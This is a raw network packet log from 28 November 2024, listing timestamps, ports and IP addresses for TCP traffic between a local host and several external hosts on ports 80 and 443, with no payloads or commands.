Nov 28, 2024 02:27:18.589003086 CET	443	49724	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:18.589052916 CET	49724	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:18.589128017 CET	443	49725	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:18.589191914 CET	49725	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:18.589202881 CET	443	49725	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:18.589215994 CET	443	49725	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:18.589260101 CET	49725	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:18.589395046 CET	49725	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:18.589409113 CET	443	49725	20.223.35.26	192.168.2.6
Nov 28, 2024 02:27:18.589435101 CET	49725	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:18.589471102 CET	49725	443	192.168.2.6	20.223.35.26
Nov 28, 2024 02:27:18.617347956 CET	443	49705	173.222.162.64	192.168.2.6
Nov 28, 2024 02:27:18.617587090 CET	49705	443	192.168.2.6	173.222.162.64
Nov 28, 2024 02:27:18.692028999 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.692044973 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.692110062 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.695686102 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.695831060 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.695882082 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.695929050 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.701329947 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.701380014 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.701550961 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.701709032 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.706768990 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.706815958 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.706835985 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.706902981 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.706933975 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.707001925 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.710007906 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.710093975 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.710299015 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.710412979 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.717000008 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.717025042 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.717041969 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.717058897 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.717070103 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.717097998 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.717140913 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.718672037 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.718729973 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.718976021 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.719082117 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.719662905 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.719691038 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.719703913 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.719717979 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.719728947 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.719747066 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.719796896 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.724828005 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.724863052 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.724878073 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.724909067 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.724919081 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.724958897 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.724980116 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.727375031 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.727431059 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.727608919 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.727652073 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.815829992 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.816284895 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.816411972 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.820158005 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.820323944 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.821115017 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.821183920 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.821331978 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.821413994 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.829756975 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.829843044 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.830008984 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.830060005 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.838469028 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.838555098 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.838664055 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.838721037 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.847095966 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.847177029 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.888464928 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.888494015 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.888621092 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.888638020 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.888712883 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.906687975 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.906887054 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.907012939 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.907223940 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.912252903 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.912326097 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.913337946 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.913384914 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.916227102 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.916259050 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.916323900 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.916336060 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.916364908 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.916385889 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.920181990 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.920217037 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.920249939 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.920264959 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.920293093 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.920315981 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.920593023 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.920605898 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.920659065 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.928392887 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.928476095 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.928915977 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.929028034 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.937067986 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.937149048 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.937329054 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.937411070 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.939080000 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.939126015 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.939189911 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.939201117 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.939249039 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.946011066 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.946022987 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.946228027 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.946306944 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.946321011 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.946336985 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.946429968 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.948015928 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.948029995 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.948107004 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.954427004 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.954509020 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.954821110 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.954870939 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.959526062 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.959575891 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.959775925 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.959836960 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.960350037 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.960370064 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.960417986 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.960426092 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.960454941 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.960469961 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.962409973 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.962436914 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.962476015 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.962483883 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:18.962527990 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.962541103 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:18.966175079 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.966187000 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.966219902 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.966243982 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.971626997 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.971829891 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.971889019 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.972183943 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.977634907 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.977684021 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.978111982 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.978174925 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.983015060 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.983091116 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:18.983246088 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:18.983289003 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.000154018 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.000174999 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.000278950 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.000289917 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.000348091 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.011519909 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.011584044 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.011728048 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.011778116 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.013211012 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.013287067 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.013464928 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.013505936 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.018909931 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.018991947 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.019174099 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.019227028 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.024594069 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.024660110 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.024836063 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.024872065 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.030308008 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.030390024 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.030560017 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.030626059 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.036004066 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.036061049 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.036473989 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.036529064 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.043031931 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.043045044 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.043129921 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.043129921 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.048185110 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.048249006 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.048470974 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.048629999 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.053133965 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.053257942 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.053453922 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.053510904 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.058821917 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.058908939 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.062808990 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.062881947 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.062890053 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.062927961 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.062961102 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.062978983 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.091424942 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.091456890 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.091500044 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.091511965 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.091550112 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.091579914 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.092833996 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.092869043 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.092917919 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.092927933 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.092957973 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.092972040 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.098149061 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.098176956 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.098222017 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.098229885 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.098254919 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.098268032 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.098980904 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.099201918 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.099296093 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.099337101 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.100415945 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.100517988 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.100557089 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.100600004 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.102488041 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.102551937 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.102781057 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.102828026 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.106888056 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.106936932 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.107119083 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.107214928 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.112670898 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.112684011 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.112731934 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.112833023 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.115142107 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.115192890 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.115212917 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.115236044 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.115259886 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.115289927 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.117300987 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.117315054 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.117383003 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.117383003 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.118520975 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.118544102 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.118586063 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.118594885 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.118623972 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.118642092 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.122256041 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.122325897 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.123352051 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.123430014 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.126580000 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.126606941 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.126655102 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.126662016 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.126710892 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.127525091 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.127583027 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.127631903 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.127722979 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.131992102 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.132005930 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.132066965 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.132066965 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.137589931 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.137603045 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.137666941 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.139930964 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.139955997 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.140039921 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.140057087 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.140109062 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.141238928 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.141284943 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.141324043 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.141330957 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.141417027 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.141529083 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.142193079 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.142263889 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.143246889 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.143400908 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.147558928 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.147571087 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.147609949 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.147640944 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.153024912 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.153047085 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.153126001 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.153135061 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.153160095 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.153178930 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.154877901 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.154958963 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.155476093 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.155488968 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.155549049 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.157399893 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.157469034 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.158459902 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.158538103 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.160867929 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.160904884 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.160991907 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.160999060 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.161034107 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.164047003 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.164124012 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.165147066 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.165225983 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.167510033 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.167684078 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.168481112 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.169995070 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.174045086 CET	80	49723	185.215.113.206	192.168.2.6
